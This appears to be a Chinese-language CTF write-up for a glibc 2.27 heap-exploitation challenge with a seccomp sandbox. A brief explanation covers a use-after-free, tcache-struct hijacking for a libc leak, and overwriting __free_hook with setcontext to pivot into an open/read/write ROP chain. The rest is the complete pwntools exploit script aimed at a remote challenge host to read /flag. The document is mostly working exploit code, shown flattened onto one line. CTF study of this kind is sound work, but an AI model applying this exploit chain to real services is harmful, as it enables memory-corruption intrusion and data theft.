保护全开,libc-2.27ubuntu1.4 版本的堆题,并且存在沙箱,需要构造 rop
四个功能全有,存在 UAF
由于执行堆块的指针(index)只有一个,所以不能使用 double free ,那么就需要利用 UAF 申请堆块到 tcache struct ,然后修改 tcache struct 来使该 堆块 (0x250 大小,即 scache struct ) 进行 unsorted bin 来泄露 libc_base ,再利用 tcache bin attack 来修改 free_hook
由于存在沙箱,需要到堆块上布置 rop ,所以这里利用 setcontext 的指令,控制 rsp 和 rip,这里的堆块大小有限制,rop 得分成两部分写在两个堆块上,我这里是用 pop rsp ; ret 指令接着控制 rop 实现两个堆块之间的 rop 衔接
from struct import pack from LibcSearcher import * def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p = remote('1.14.71.254', 28355) elf = ELF('./pwn') #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so') libc = ELF('./libc-2.27.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def add(size): sla(b'choice: ', b'1') sla(b'Index: ', str(0)) sla(b'Size: ', str(size)) def edit(content): sla(b'choice: ', b'2') sla(b'Index: ', str(0)) sla(b'Content: ', content) def show(): sla(b'choice: ', b'3') sla(b'Index: ', str(0)) def free(): sla(b'choice: ', b'4') sla(b'Index: ', str(0)) add(0x78) free() show() rl(b'Content: ') heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x11b0 print(' heap_base -> ', hex(heap_base)) edit(p64(heap_base + 0x10)) add(0x78) add(0x78) for i in range(7): free() edit(p64(0)*2) free() show() libc_base = get_addr() - 0x70 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) edit(b'\x00'*0x78) rdi = libc_base + 0x215bf rsi = libc_base + 0x23eea rdx = libc_base + 0x1b96 rax = libc_base + 0x43ae8 ret = libc_base + 0x8aa rsp = libc_base + 0x3960 read = libc_base + libc.sym['read'] puts = libc_base + libc.sym['puts'] free_hook = libc_base + libc.sym['__free_hook'] mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53 syscall = libc_base + libc.sym['read'] + 0xf add(0x10) edit(b'/flag\x00') # set rop # open flag = heap_base + 0xe00 rop1 = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall) # read rop1 += p64(rdi) + p64(3) + p64(rsp) + p64(heap_base + 0x1500) # jump next chunk rop2 = p64(rsi) + p64(heap_base + 0x300) + p64(rdx) + p64(0x30) + p64(read) # write rop2 += p64(rdi) + p64(heap_base + 0x300) + p64(puts) add(0x60) # 0xe20 edit(rop1) add(0x60) # 0x1500 edit(rop2) # set rsp and rip add(0x10) free() edit(p64(free_hook + 0xa0)) add(0x10) add(0x10) edit(p64(heap_base + 0xe20) + p64(ret)) # free_hook -> setcontext + 53 add(0x60) free() edit(p64(free_hook)) add(0x60) add(0x60) edit(p64(mov_rsp_rdi_a0)) # leak flag() #gdb.attach(p, 'b free') free() pr()
